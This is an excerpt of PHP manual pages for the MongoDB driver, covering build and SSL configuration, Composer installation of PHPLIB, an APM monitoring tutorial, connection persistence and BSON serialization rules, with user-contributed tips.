When using bundled versions of libbson and libmongoc, the driver will also attempt to select an SSL library according to the --with-mongodb-ssl option for configure. The default value is --with-mongodb-ssl=auto, which will search for Secure Transport (macOS only), OpenSSL, and LibreSSL, in that order. Additionally, you may specify openssl, libressl, or darwin to force selection of a particular library, respectively.

注意:

If the build process fails to find an SSL library, check that the development packages (e.g. libssl-dev) and » pkg-config are both installed.

When using Homebrew on macOS, it is common for a system to have multiple versions of OpenSSL installed. To ensure that the desired version of OpenSSL is selected, the PKG_CONFIG_PATH environment variable may be used to control the search path for pkg-config. If pkg-config is not used, configure also supports a --with-openssl-dir=DIR argument, which can be used to specify a manual search path (for OpenSSL only).

The final build step, make install, will report where mongodb.so has been installed, similar to:

Installing shared extensions:     /usr/lib/php/extensions/debug-non-zts-20151012/

Ensure that the extension_dir option in php.ini points to the directory where mongodb.so was installed. You can query for the option by running:

$ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/debug-non-zts-20151012 =>
                   /usr/lib/php/extensions/debug-non-zts-20151012

If the directories differ, either change extension_dir in php.ini or manually move mongodb.so to the correct directory.

Finally, add the following line to your php.ini file:

extension=mongodb.so

User Contributed Notes

Anisur Rahman (anisur2805 at gmail dot com) 04-Sep-2020 08:00
After installing mongodb, in terminal there are couple of error ex.

PHP Warning:  PHP Startup: Unable to load dynamic library 'mongodb.so' (tried: C:\xampp\php\ext\mongodb.so (The specified module could not be found.), C:\xampp\php\ext\php_mongodb.so.dll (The specified module could not be found.)) in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library 'mongodb.so' (tried: C:\xampp\php\ext\mongodb.so (The specified module could not be found.), C:\xampp\php\ext\php_mongodb.so.dll (The specified module could not be found.)) in Unknown on line 0

https://prnt.sc/ubr5mq

Solution:
1. If you include mongodb extension in php.ini file first remove that
2. Goto your php path inside Xampp and create an file called mongodb.ini and pest this below line, see ss - https://prnt.sc/ubr7ii
code extension=mongodb.so

This solution works in windows 10, php 7.4 version
chatocoral at gmail dot com 18-Oct-2017 06:54
You think this is to complicated? You use Ubuntu 14 or 16? use this:

sudo apt-get install php-mongodb

This installs everything you need to use MongoDB inside PHP.

Don't stop using MongoDB, is the best that will happen to you.

You're Welcome.
fgm at osinet dot fr 10-Aug-2016 09:27
a) If your git version is not recent enough, as can happen e.g. on Ubuntu 12.04 LTS, git submodule --init won't exist
In that case use:

    git submodule init
    git submodule update

b) make install does not create a mongodb.conf configuration file to support the debian/ubuntu PHP versions phpenmod/phpdismod commands. To have them work:

- do not add the extension=mongodb.so line to php.ini
- add it to a mongodb.ini file in the PHP mods-available directory
- the commands will then work for this extension

c) if you have multiple versions of PHP on a system such as b), the phpenmod/phpdismod commands may fail if the extension is not built for the default PHP CLI version. To have it be enabled for a specific version, use the -v argument, like

    phpenmod -v php7.1 mongodb


実行時設定

php.ini の設定により動作が変化します。

mongodb 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴 | Comments
mongodb.debug | "" | PHP_INI_ALL |  |

以下に設定ディレクティブに関する 簡単な説明を示します。

mongodb.debug string

Store full activity debug log in this directory or stream. The special value "stderr" can be provided to write to STDERR.

注意:

Please note that the debug log can contain sensitive information, such as credentials to the MongoDB server and full documents written to or read from the server. Please review any debug logs before sharing them with other people.

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

MONGODB_VERSION (string)
x.y.z style version number of the extension
MONGODB_STABILITY (string)
Current stability (alpha/beta/stable)

User Contributed Notes

There are no user contributed notes for this page.


Tutorials

In this section you will find several tutorials on how to use the MongoDB driver for PHP.

  • Using the PHP Library for MongoDB (PHPLIB)
  • Application Performance Monitoring (APM)

User Contributed Notes

There are no user contributed notes for this page.


Using the PHP Library for MongoDB (PHPLIB)

After the initial driver set-up, we will continue explaining how to get started with the MongoDB driver and corresponding userland library to write our first project.

Installing the PHP Library with Composer

The last thing we still need to install to get started on the application itself, is the PHP library.

The library needs to be installed with » Composer, a package manager for PHP. Instructions for installing Composer on various platforms may be found on its website.

Install the library by running:

$ composer require mongodb/mongodb

It will output something akin to:

./composer.json has been created
Loading composer repositories with package information
Updating dependencies (including require-dev)
  - Installing mongodb/mongodb (1.0.0)
    Downloading: 100%

Writing lock file
Generating autoload files

Composer will create several files: composer.json, composer.lock, and a vendor directory that will contain the library and any other dependencies your project might require.

Using the PHP Library

In addition to managing your dependencies, Composer will also provide you with an autoloader (for those dependencies' classes). Ensure that it is included at the start of your script or in your application's bootstrap code:

<?php
// This path should point to Composer's autoloader
require 'vendor/autoload.php';

With this done, you can now use any of the functionality as described in the » library documentation.

If you have previously used the old driver (i.e. mongo extension), the library's API should look familiar. It contains a » Client class for connecting to MongoDB, and » Database class for database-level operations (e.g. commands, collection management) and a » Collection class for collection-level operations (e.g. » CRUD methods, index management). Various Collection methods have been renamed for clarity, and to be in accordance with a new language-agnostic » specification.

As an example, this is how you insert a document into the beers collection of the demo database:

<?php
require 'vendor/autoload.php'; // include Composer's autoloader

$client = new MongoDB\Client("mongodb://localhost:27017");
$collection = $client->demo->beers;

$result = $collection->insertOne( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

echo "Inserted with Object ID '{$result->getInsertedId()}'";
?>

Instead of injecting the generated _id field into the input document (as was done in the old driver), it is now made available through the result object returned by the insertOne method.

After insertion, you can of course also query the data that you have just inserted. For that, you use the find method, which returns an iterable cursor:

<?php
require 'vendor/autoload.php'; // include Composer's autoloader

$client = new MongoDB\Client("mongodb://localhost:27017");
$collection = $client->demo->beers;

$result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

foreach ($result as $entry) {
    echo $entry['_id'], ': ', $entry['name'], "\n";
}
?>

While it may not be apparent in the examples, BSON documents and arrays are unserialized as type classes in the library by default. These classes ensure that values preserve their type when being serialized back into BSON, which avoids a caveat in the old driver where arrays might turn into documents, and vice versa. Additionally, the classes extend ArrayObject for enhanced usability. You can find more information on how serialization and deserialization between PHP variables and BSON is handled by the driver and library by reading the Persisting Data specification.

User Contributed Notes

wpg 23-Oct-2019 05:40
If you have a number of JSON documents with nested elements such as 'responseId' below and you want to know how many documents have a responseId:
{"result":{"responseId":"xyz"}}
{"result":NULL}
{"result":{"responseId":"abc"}}

I was not having luck with the following format
<?php
// trying to get the count of documents where responseId is not equal to NULL (did not work for me)
$intCount = $collection->count(['result' => ['responseId' => ['$ne' => NULL]]]);
?>

Instead I needed to use a period between the JSON elements:
<?php
// get the count of documents where responseId is not equal to NULL
$intCount = $collection->count(['result.responseId' => ['$ne' => NULL]]);
?>
salos_12 at hotmail dot com 16-Aug-2019 07:16
When your database name contains a "-" (e.g. database-name) you need to use a string instead.

<?php

$client = new MongoDB\Client("mongodb://ip_address:port");
$collection = $client->{'database-name'}->collection;

?>
myname 30-Sep-2018 05:53
What folder we need to be in to run composer? I can't get it to work.
surajtiwari020 at gmail dot com 16-Mar-2018 05:03
Well most of the tutorials didn't explained well, So i hope this might help someone
Note: this is a part of my laravel project

//getting data from a collection
<?php

use MongoDB\Client as Mongo;

$user = "admin";
$pwd = 'password';

$mongo = new Mongo("mongodb://${user}:${pwd}@127.0.0.1:27017");
$collection = $mongo->db_name->collection;
$result = $collection->find()->toArray();

print_r($result);

?>
crystale dot darck at gmail dot com 15-May-2017 04:03
To test your connection string, you can do something like this:

<?php
$mongo = new MongoDB\Client('mongodb://my_server_does_not_exist_here:27017');
try
{
    $dbs = $mongo->listDatabases();
}
catch (MongoDB\Driver\Exception\ConnectionTimeoutException $e)
{
    // PHP cannot find a MongoDB server using the MongoDB connection string specified
    // do something here
}
?>
Basher 12-Aug-2016 04:10
Pecl MongoDB at time of writing can be installed (see phpinfo()) but composer will complain that it's not present.

$  composer require "mongodb/mongodb=^1.0.0"
...
Your requirements could not be resolved to an installable set of packages.

If you see this try

$ composer require "mongodb/mongodb=^1.0.0" --ignore-platform-reqs
Dc Shiman 23-Feb-2016 03:53
Do a text search on the collection with projection

$search['$text'] = ['$search' => "foo"];
$options["projection"] = ['score' => ['$meta' => "textScore"]];
$options["sort"] = ["score" => ['$meta' => "textScore"]];

$cursor = $collection->find($search, $options);


Application Performance Monitoring (APM)

Since version 1.3, the MongoDB driver contains an API for performance monitoring. This API allows you to find out how long specific operations take by setting up subscribers. Each subscriber is required to implement one or more interfaces under the MongoDB\Driver\Monitoring namespace. Currently, only the MongoDB\Driver\Monitoring\CommandSubscriber interface is available.

The MongoDB\Driver\Monitoring\CommandSubscriber interface defines three methods: commandStarted, commandSucceeded, and commandFailed. Each of these three methods accept a single event argument of a specific class for the respective event. For example, the commandSucceeded's $event argument is a MongoDB\Driver\Monitoring\CommandSucceededEvent object.

In this tutorial we will implement a subscriber that creates a list of all the query profiles and the average time they took.

Subscriber Class Scaffolding

We start with the framework for our subscriber:

<?php

class QueryTimeCollector implements \MongoDB\Driver\Monitoring\CommandSubscriber
{
    public function commandStarted( \MongoDB\Driver\Monitoring\CommandStartedEvent $event )
    {
    }

    public function commandSucceeded( \MongoDB\Driver\Monitoring\CommandSucceededEvent $event )
    {
    }

    public function commandFailed( \MongoDB\Driver\Monitoring\CommandFailedEvent $event )
    {
    }
}

?>

Registering the Subscriber

Once a subscriber object is instantiated, it needs to be registered with the driver's monitoring system. This is done by calling MongoDB\Driver\Monitoring\addSubscriber().

<?php

\MongoDB\Driver\Monitoring\addSubscriber( new QueryTimeCollector() );

?>

Implementing the Logic

With the object registered, the only thing left is to implement the logic in the subscriber class. To correlate the two events that make up a successfully executed command (commandStarted and commandSucceeded), each event object exposes a requestId field.

To record the average time per query shape, we will start by checking for a find command in the commandStarted event. We will then add an item to the pendingCommands property indexed by its requestId and with its value representing the query shape.

If we receive a corresponding commandSucceeded event with the same requestId, we add the duration of the event (from durationMicros) to the total time and increment the operation count.

If a corresponding commandFailed event is encountered, we just remove the entry from the pendingCommands property.

<?php

class QueryTimeCollector implements \MongoDB\Driver\Monitoring\CommandSubscriber
{
    private $pendingCommands = [];
    private $queryShapeStats = [];

    /* Creates a query shape out of the filter argument. Right now it only
     * takes the top level fields into account */
    private function createQueryShape( array $filter )
    {
        return json_encode( array_keys( $filter ) );
    }

    public function commandStarted( \MongoDB\Driver\Monitoring\CommandStartedEvent $event )
    {
        if ( array_key_exists( 'find', (array) $event->getCommand() ) )
        {
            $queryShape = $this->createQueryShape( (array) $event->getCommand()->filter );
            $this->pendingCommands[$event->getRequestId()] = $queryShape;
        }
    }

    public function commandSucceeded( \MongoDB\Driver\Monitoring\CommandSucceededEvent $event )
    {
        $requestId = $event->getRequestId();
        if ( array_key_exists( $requestId, $this->pendingCommands ) )
        {
            $this->queryShapeStats[$this->pendingCommands[$requestId]]['count']++;
            $this->queryShapeStats[$this->pendingCommands[$requestId]]['duration'] += $event->getDurationMicros();
            unset( $this->pendingCommands[$requestId] );
        }
    }

    public function commandFailed( \MongoDB\Driver\Monitoring\CommandFailedEvent $event )
    {
        if ( array_key_exists( $event->getRequestId(), $this->pendingCommands ) )
        {
            unset( $this->pendingCommands[$event->getRequestId()] );
        }
    }

    public function __destruct()
    {
        foreach( $this->queryShapeStats as $shape => $stats )
        {
            echo "Shape: ", $shape, " (", $stats['count'], ")\n  ",
                $stats['duration'] / $stats['count'], "μs\n\n";
        }
    }
}

$m = new \MongoDB\Driver\Manager( 'mongodb://localhost:27016' );

/* Add the subscriber */
\MongoDB\Driver\Monitoring\addSubscriber( new QueryTimeCollector() );

/* Do a bunch of queries */
$query = new \MongoDB\Driver\Query( [
    'region_slug' => 'scotland-highlands', 'age' => [ '$gte' => 20 ]
] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

$query = new \MongoDB\Driver\Query( [
    'region_slug' => 'scotland-lowlands', 'age' => [ '$gte' => 15 ]
] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

$query = new \MongoDB\Driver\Query( [ 'region_slug' => 'scotland-lowlands' ] );
$cursor = $m->executeQuery( 'dramio.whisky', $query );

?>

User Contributed Notes

There are no user contributed notes for this page.


Explains the driver architecture, and special features

  • Architecture — Architecture Overview
  • Connections — Connection handling and persistence
  • Persisting Data — Serialization and deserialization of PHP variables into MongoDB
    • Serialization to BSON
    • Deserialization from BSON

User Contributed Notes

There are no user contributed notes for this page.


Architecture Overview

This section explains how all the different parts of the driver fit together. From the different language runtimes, through the extension and to the PHP libraries on top. This new architecture has replaced the old mongo extension. We refer to the new one as the mongodb extension.

At the top of this stack sits a pure » PHP library, which we will distribute as a Composer package. This library will provide an API similar to what users have come to expect from the old mongo driver (e.g. CRUD methods, database and collection objects, command helpers) and we expect it to be a common dependency for most applications built with MongoDB. This library will also implement common » specifications, in the interest of improving API consistency across all of the » drivers maintained by MongoDB (and hopefully some community drivers, too).

Sitting below that library we have the lower level driver. This extension will effectively form the glue between PHP and our system libraries (» libmongoc and » libbson). This extension will expose an identical public API for the most essential and performance-sensitive functionality:

  • Connection management
  • BSON encoding and decoding
  • Object document serialization (to support ODM libraries)
  • Executing commands and write operations
  • Handling queries and cursors

By decoupling the driver internals and a high-level API into an extension and PHP libraries, respectively, we hope to reduce our maintainence burden and allow for faster iteration on new features. As a welcome side effect, this also makes it easier for anyone to contribute to the driver. Additionally, an identical public API will make it that much easier to port an application across PHP runtimes, whether the application uses the low-level driver directly or a higher-level PHP library.

» GridFS is a great example of why we chose this direction. Although we implemented GridFS in C for our old mongo driver, it is actually quite a high-level specification. Its API is just an abstraction for accessing two collections: files (i.e. metadata) and chunks (i.e. blocks of data). Likewise, all of the syntactic sugar found in the old mongo driver, such as processing uploaded files or exposing GridFS files as PHP streams, can be implemented in pure PHP. Provided we have performant methods for reading from and writing to GridFS' collections - and thanks to our low level extensions, we will - shifting this API to PHP is win-win.

Earlier I mentioned that we expect the PHP library to be a common dependency for most applications, but not all. Some users may prefer to stick to the no-frills API offered by the extensions, or create their own high-level abstraction (akin to » Doctrine MongoDB for the old mongo driver). Future libraries could include a PHP library geared for MongoDB administration, which provides an API for various user management and ops commands. The next major version of » Doctrine MongoDB ODM will likely also sit directly atop the extensions.

While we will continue to maintain and support the old mongo driver and its users for the foreseeable future, we invite everyone to use the next-generation driver and consider it for any new projects going forward. You can find all of the essential components across GitHub and JIRA:

Driver Source Code and JIRA Locations
Project | GitHub | JIRA
PHP Library | » mongodb/mongo-php-library | » PHPLIB
PHP 5 and PHP 7 Driver (phongo) | » mongodb/mongo-php-driver | » PHPC

The existing » PHP project in JIRA will remain open for reporting bugs against the old mongo driver, but we would ask that you use the new projects above for anything pertaining to our next-generation drivers.

User Contributed Notes

There are no user contributed notes for this page.


Connection handling and persistence

注意: Unix プラットフォームの MongoDB ドライバーは、 exec() システムコールを呼ばすに fork() システムコールを使っているスクリプトの影響を受けます。 MongoDB\Driver\Manager のインスタンスを、 フォークした子プロセスで再利用しないことをおすすめします。

Connection and topology persistence (PHP version since 1.2.0)

All versions of the driver since 1.2.0 persist the » libmongoc client object in the PHP worker process, which allows it to re-use database connections, authentication states, and topology information across multiple requests.

When MongoDB\Driver\Manager::__construct() is invoked, a hash is created from its arguments (i.e. URI string and array options). The driver will attempt to find a previously persisted » libmongoc client object for that hash. If an existing client cannot be found for the hash, a new client will be created (and persisted for future use).

Each client contains its own database connections and a view of the server topology (e.g. standalone, replica set, shard cluster). By persisting the client between PHP requests, the driver is able to re-use established database connections and remove the need for » discovering the server topology on each request.

Consider the following example:

<?php

$managers = [
    new MongoDB\Driver\Manager('mongodb://127.0.0.1'),
    new MongoDB\Driver\Manager('mongodb://127.0.0.1'),
    new MongoDB\Driver\Manager('mongodb://127.0.0.1:27017'),
    new MongoDB\Driver\Manager('mongodb://rs1.example.com,rs2.example.com/', ['replicaSet' => 'myReplicaSet']),
];

foreach ($managers as $manager) {
    $manager->executeCommand('test', new MongoDB\Driver\Command(['ping' => 1]));
}

?>

The first two Manager objects will share the same » libmongoc client since their constructor arguments are identical. The third and fourth objects will each use their own client. In total, three clients will be created and the PHP worker executing this script will open two connections to 127.0.0.1 and one connection to each of rs1.example.com and rs2.example.com. If the driver discovers additional members of the replica set after issuing isMaster commands, it will open additional connections to those servers as well.

If the same worker executes the script again in a second request, the three clients will be re-used and no new connections should be made. Depending on how long ago the previous request was served, the driver may need to issue additional isMaster commands to update its view of the topologies.

Socket persistence (PHP versions before 1.2.0)

Versions of the PHP driver before 1.2.0 utilize PHP's Streams API for database connections, using an API within » libmongoc to designate custom handlers for socket communication; however, a new libmongoc client is created for each MongoDB\Driver\Manager. As a result, the driver persists individual database connections but not authentication state or topology information. This means that the driver needs to issue commands at the start of each request to authenticate and » discover the server topology.

Database connections are persisted by a hash derived from the server's host, port, and the URI string used to construct the MongoDB\Driver\Manager. The constructor's array options are not included in this hash.

注意: Versions of the driver >= 1.1.8 and < 1.2.0 do not persist sockets for SSL connections. See » PHPC-720 for additional information.

Despite its shortcomings with persisting SSL connections when and topology information, this version of the driver supports all SSL context options since it uses PHP's Streams API.

User Contributed Notes

There are no user contributed notes for this page.


Serialization and deserialization of PHP variables into MongoDB

目次

  • Serialization to BSON
  • Deserialization from BSON

This document discusses the methods how compound structures (documents, arrays, objects) are persisted through the drivers. And how they are brought back into PHP land.

User Contributed Notes

There are no user contributed notes for this page.


Serialization to BSON

Arrays

If an array is a packed array — i.e. the keys start at 0 and are sequential without gaps: BSON array.

If the array is not packed — i.e. having associative (string) keys, the keys don't start at 0, or when there are gaps:: BSON object

A top-level (root) document, always serializes as a BSON document.

Examples

These serialize as a BSON array:

[ 8, 5, 2, 3 ] => [ 8, 5, 2, 3 ]
[ 0 => 4, 1 => 9 ] => [ 4, 9 ]

These serialize as a BSON document:

[ 0 => 1, 2 => 8, 3 => 12 ] => { "0" : 1, "2" : 8, "3" : 12 }
[ "foo" => 42 ] => { "foo" : 42 }
[ 1 => 9, 0 => 10 ] => { "1" : 9, "0" : 10 }

Note that the five examples are extracts of a full document, and represent only one value inside a document.

Objects

If an object is of the stdClass class, serialize as a BSON document.

If an object is a supported class that implements MongoDB\BSON\Type, then use the BSON serialization logic for that specific type. MongoDB\BSON\Type instances (excluding MongoDB\BSON\Serializable may only be serialized as a document field value. Attempting to serialize such an object as a root document will throw a MongoDB\Driver\Exception\UnexpectedValueException

If an object is of an unknown class implementing the MongoDB\BSON\Type interface, then throw a MongoDB\Driver\Exception\UnexpectedValueException

If an object is of any other class, without implementing any special interface, serialize as a BSON document. Keep only public properties, and ignore protected and private properties.

If an object is of a class that implements the MongoDB\BSON\Serializable interface, call MongoDB\BSON\Serializable::bsonSerialize() and use the returned array or stdClass to serialize as a BSON document or array. The BSON type will be determined by the following:

  1. Root documents must be serialized as a BSON document.

  2. MongoDB\BSON\Persistable objects must be serialized as a BSON document.

  3. If MongoDB\BSON\Serializable::bsonSerialize() returns a packed array, serialize as a BSON array.

  4. If MongoDB\BSON\Serializable::bsonSerialize() returns a non-packed array or stdClass, serialize as a BSON document.

  5. If MongoDB\BSON\Serializable::bsonSerialize() did not return an array or stdClass, throw an MongoDB\Driver\Exception\UnexpectedValueException exception.

If an object is of a class that implements the MongoDB\BSON\Persistable interface (which implies MongoDB\BSON\Serializable), obtain the properties in a similar way as in the previous paragraphs, but also add an additional property __pclass as a Binary value, with subtype 0x80 and data bearing the fully qualified class name of the object that is being serialized.

The __pclass property is added to the array or object returned by MongoDB\BSON\Serializable::bsonSerialize(), which means it will overwrite any __pclass key/property in the MongoDB\BSON\Serializable::bsonSerialize() return value. If you want to avoid this behaviour and set your own __pclass value, you must not implement MongoDB\BSON\Persistable and should instead implement MongoDB\BSON\Serializable directly.

Examples

<?php

class stdClass {
  public $foo = 42;
} // => { "foo" : 42 }

class MyClass {
  public $foo = 42;
  protected $prot = "wine";
  private $fpr = "cheese";
} // => { "foo" : 42 }

class AnotherClass1 implements MongoDB\BSON\Serializable {
  public $foo = 42;
  protected $prot = "wine";
  private $fpr = "cheese";
  function bsonSerialize() {
      return [ 'foo' => $this->foo, 'prot' => $this->prot ];
  }
} // => { "foo" : 42, "prot" : "wine" }

class AnotherClass2 implements MongoDB\BSON\Serializable {
  public $foo = 42;
  function bsonSerialize() {
      return $this;
  }
} // => MongoDB\Driver\Exception\UnexpectedValueException("bsonSerialize() did not return an array or stdClass")

class AnotherClass3 implements MongoDB\BSON\Serializable {
  private $elements = [ 'foo', 'bar' ];
  function bsonSerialize() {
      return $this->elements;
  }
} // => { "0" : "foo", "1" : "bar" }

class ContainerClass implements MongoDB\BSON\Serializable {
  public $things = AnotherClass4 implements MongoDB\BSON\Serializable {
    private $elements = [ 0 => 'foo', 2 => 'bar' ];
    function bsonSerialize() {
      return $this->elements;
    }
  }
  function bsonSerialize() {
      return [ 'things' => $this->things ];
  }
} // => { "things" : { "0" : "foo", "2" : "bar" } }

class ContainerClass implements MongoDB\BSON\Serializable {
  public $things = AnotherClass5 implements MongoDB\BSON\Serializable {
    private $elements = [ 0 => 'foo', 2 => 'bar' ];
    function bsonSerialize() {
      return array_values($this->elements);
    }
  }
  function bsonSerialize() {
      return [ 'things' => $this->things ];
  }
} // => { "things" : [ "foo", "bar" ] }

class ContainerClass implements MongoDB\BSON\Serializable {
  public $things = AnotherClass6 implements MongoDB\BSON\Serializable {
    private $elements = [ 'foo', 'bar' ];
    function bsonSerialize() {
      return (object) $this->elements;
    }
  }
  function bsonSerialize() {
      return [ 'things' => $this->things ];
  }
} // => { "things" : { "0" : "foo", "1" : "bar" } }

class UpperClass implements MongoDB\BSON\Persistable {
  public $foo = 42;
  protected $prot = "wine";
  private $fpr = "cheese";
  function bsonSerialize() {
      return [ 'foo' => $this->foo, 'prot' => $this->prot ];
  }
} // => { "foo" : 42, "prot" : "wine", "__pclass" : { "$type" : "80", "$binary" : "VXBwZXJDbGFzcw==" } }

User Contributed Notes

There are no user contributed notes for this page.


Deserialization from BSON

The legacy mongo extension deserialized both BSON documents and arrays as PHP arrays. While PHP arrays are convenient to work with, this behavior was problematic because different BSON types could deserialize to the same PHP value (e.g. {"0": "foo"} and ["foo"]) and make it impossible to infer the original BSON type. By default, the current driver addresses this concern by ensuring that BSON arrays and documents are converted to PHP arrays and objects, respectively.

For compound types, there are three data types:

root

refers to the top-level BSON document only

document

refers to embedded BSON documents only

array

refers to a BSON array

Besides the three collective types, it is also possible to configure specific fields in your document to map to the data types mentioned below. As an example, the following type map allows you to map each embedded document within an "addresses" array to an Address class and each "city" field within those embedded address documents to a City class:

[
    'fieldPaths' => [
        'addresses.$' => 'MyProject\Address',
        'addresses.$.city' => 'MyProject\City',
    ],
]

Each of those three data types, as well as the field specific mappings, can be mapped against different PHP types. The possible mapping values are:

not set or NULL (default)

  • A BSON array will be deserialized as a PHP array.

  • A BSON document (root or embedded) without a __pclass property [1] becomes a PHP stdClass object, with each BSON document key set as a public stdClass property.

  • A BSON document (root or embedded) with a __pclass property [1] becomes a PHP object of the class name as defined by the __pclass property.

    If the named class implements the MongoDB\BSON\Persistable interface, then the properties of the BSON document, including the __pclass property, are sent as an associative array to the MongoDB\BSON\Unserializable::bsonUnserialize() function to initialise the object's properties.

    If the named class does not exist or does not implement the MongoDB\BSON\Persistable interface, stdClass will be used and each BSON document key (including __pclass) will be set as a public stdClass property.

    The __pclass functionality relies on the property being part of a retrieved MongoDB document. If you use a projection when querying for documents, you need to include the __pclass field in the projection for this functionality to work.

"array"

Turns a BSON array or BSON document into a PHP array. There will be no special treatment of a __pclass property [1], but it may be set as an element in the returned array if it was present in the BSON document.

"object" or "stdClass"

Turns a BSON array or BSON document into a stdClass object. There will be no special treatment of a __pclass property [1], but it may be set as a public property in the returned object if it was present in the BSON document.

any other string

Defines the class name that the BSON array or BSON object should be deserialized as. For BSON objects that include __pclass properties, that class will take priority.

If the named class does not exist, is not concrete (i.e. it is abstract or an interface), or does not implement MongoDB\BSON\Unserializable then an MongoDB\Driver\Exception\InvalidArgumentException exception is thrown.

If the BSON object has a __pclass property and that class exists and implements MongoDB\BSON\Persistable it will supersede the class provided in the type map.

The properties of the BSON document, including the __pclass property if it exists, will be sent as an associative array to the MongoDB\BSON\Unserializable::bsonUnserialize() function to initialise the object's properties.

TypeMaps

TypeMaps can be set through the MongoDB\Driver\Cursor::setTypeMap() method on a MongoDB\Driver\Cursor object, or the $typeMap argument of MongoDB\BSON\toPHP(). Each of the three classes (root, document, and array) can be individually set, in addition to the field specific types.

If the value in the map is NULL, it means the same as the default value for that item.

Examples

These examples use the following classes:

MyClass

which does not implement any interface

YourClass

which implements MongoDB\BSON\Unserializable

OurClass

which implements MongoDB\BSON\Persistable

TheirClass

which extends OurClass

The MongoDB\BSON\Unserializable::bsonUnserialize() method of YourClass, OurClass, TheirClass iterate over the array and set the properties without modifications. It also sets the $unserialized property to true:

<?php

function bsonUnserialize( array $map )
{
    foreach ( $map as $k => $value )
    {
        $this->$k = $value;
    }
    $this->unserialized = true;
}

/* typemap: [] (all defaults) */
{ "foo": "yes", "bar" : false }
  -> stdClass { $foo => 'yes', $bar => false }

{ "foo": "no", "array" : [ 5, 6 ] }
  -> stdClass { $foo => 'no', $array => [ 5, 6 ] }

{ "foo": "no", "obj" : { "embedded" : 3.14 } }
  -> stdClass { $foo => 'no', $obj => stdClass { $embedded => 3.14 } }

{ "foo": "yes", "__pclass": "MyClass" }
  -> stdClass { $foo => 'yes', $__pclass => 'MyClass' }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "MyClass" } }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x80, 'MyClass') }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "YourClass") }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x80, 'YourClass') }

{ "foo": "yes", "__pclass": { "$type" : "80", "$binary" : "OurClass") }
  -> OurClass { $foo => 'yes', $__pclass => Binary(0x80, 'OurClass'), $unserialized => true }

{ "foo": "yes", "__pclass": { "$type" : "44", "$binary" : "YourClass") }
  -> stdClass { $foo => 'yes', $__pclass => Binary(0x44, 'YourClass') }

/* typemap: [ "root" => "MissingClass" ] */
{ "foo": "yes" }
  -> MongoDB\Driver\Exception\InvalidArgumentException("MissingClass does not exist")

/* typemap: [ "root" => "MyClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> MongoDB\Driver\Exception\InvalidArgumentException("MyClass does not implement Unserializable interface")

/* typemap: [ "root" => "MongoDB\BSON\Unserializable" ] */
{ "foo": "yes" }
  -> MongoDB\Driver\Exception\InvalidArgumentException("Unserializable is not a concrete class")

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MongoDB\BSON\Unserializable" } }
  -> YourClass { $foo => "yes", $__pclass => Binary(0x80, "MongoDB\BSON\Unserializable"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> YourClass { $foo => "yes", $__pclass => Binary(0x80, "MyClass"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "OurClass" } }
  -> OurClass { $foo => "yes", $__pclass => Binary(0x80, "OurClass"), $unserialized => true }

/* typemap: [ "root" => "YourClass" ] */
{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "TheirClass" } }
  -> TheirClass { $foo => "yes", $__pclass => Binary(0x80, "TheirClass"), $unserialized => true }

/* typemap: [ "root" => "OurClass" ] */
{ foo: "yes", "__pclass" : { "$type": "80", "$binary": "TheirClass" } }
  -> TheirClass { $foo => "yes", $__pclass => Binary(0x80, "TheirClass"), $unserialized => true }

/* typemap: [ 'root' => 'YourClass' ] */
{ foo: "yes", "__pclass" : { "$type": "80", "$binary": "YourClass" } }
  -> YourClass { $foo => 'yes', $__pclass => Binary(0x80, 'YourClass'), $unserialized => true }

/* typemap: [ 'root' => 'array', 'document' => 'array' ] */
{ "foo": "yes", "bar" : false }
  -> [ "foo" => "yes", "bar" => false ]

{ "foo": "no", "array" : [ 5, 6 ] }
  -> [ "foo" => "no", "array" => [ 5, 6 ] ]

{ "foo": "no", "obj" : { "embedded" : 3.14 } }
  -> [ "foo" => "no", "obj" => [ "embedded => 3.14 ] ]

{ "foo": "yes", "__pclass": "MyClass" }
  -> [ "foo" => "yes", "__pclass" => "MyClass" ]

{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "MyClass" } }
  -> [ "foo" => "yes", "__pclass" => Binary(0x80, "MyClass") ]

{ "foo": "yes", "__pclass" : { "$type": "80", "$binary": "OurClass" } }
  -> [ "foo" => "yes", "__pclass" => Binary(0x80, "OurClass") ]

/* typemap: [ 'root' => 'object', 'document' => 'object' ] */
{ "foo": "yes", "__pclass": { "$type": "80", "$binary": "MyClass" } }
  -> stdClass { $foo => "yes", "__pclass" => Binary(0x80, "MyClass") }

User Contributed Notes

hello at stefandjokic dot com 08-Jun-2020 12:33
Minor correction to my previous comment:

Use 'fieldPaths' for specifying type of nested property.

Eg.

'typeMap' => [
                'array' => 'array',
                'fieldPaths' => [
                    'notifications.email.to' => 'array',
                    'notifications.data.params' => 'array',
                ],
            ],
hello at stefandjokic dot com 02-Jun-2020 09:12
You can also specify the type map for nested document item, e.g.

<?php
.
.
.
// everything else is by default an object
'typeMap' => [
                'customer.phones' => 'array',
            ],
Miguel 11-Nov-2017 04:10
Make sure you include the field "__pclass" to the projection if you want the ODM to automatically call the bsonUnserialize of the class.

If you don't get that field in the query, the ODM will never know which class to call, so you'll have to specify it with the "typemap" variable.


Security

  • Request Injection Attacks
  • Script Injection Attacks

User Contributed Notes

There are no user contributed notes for this page.


Request Injection Attacks

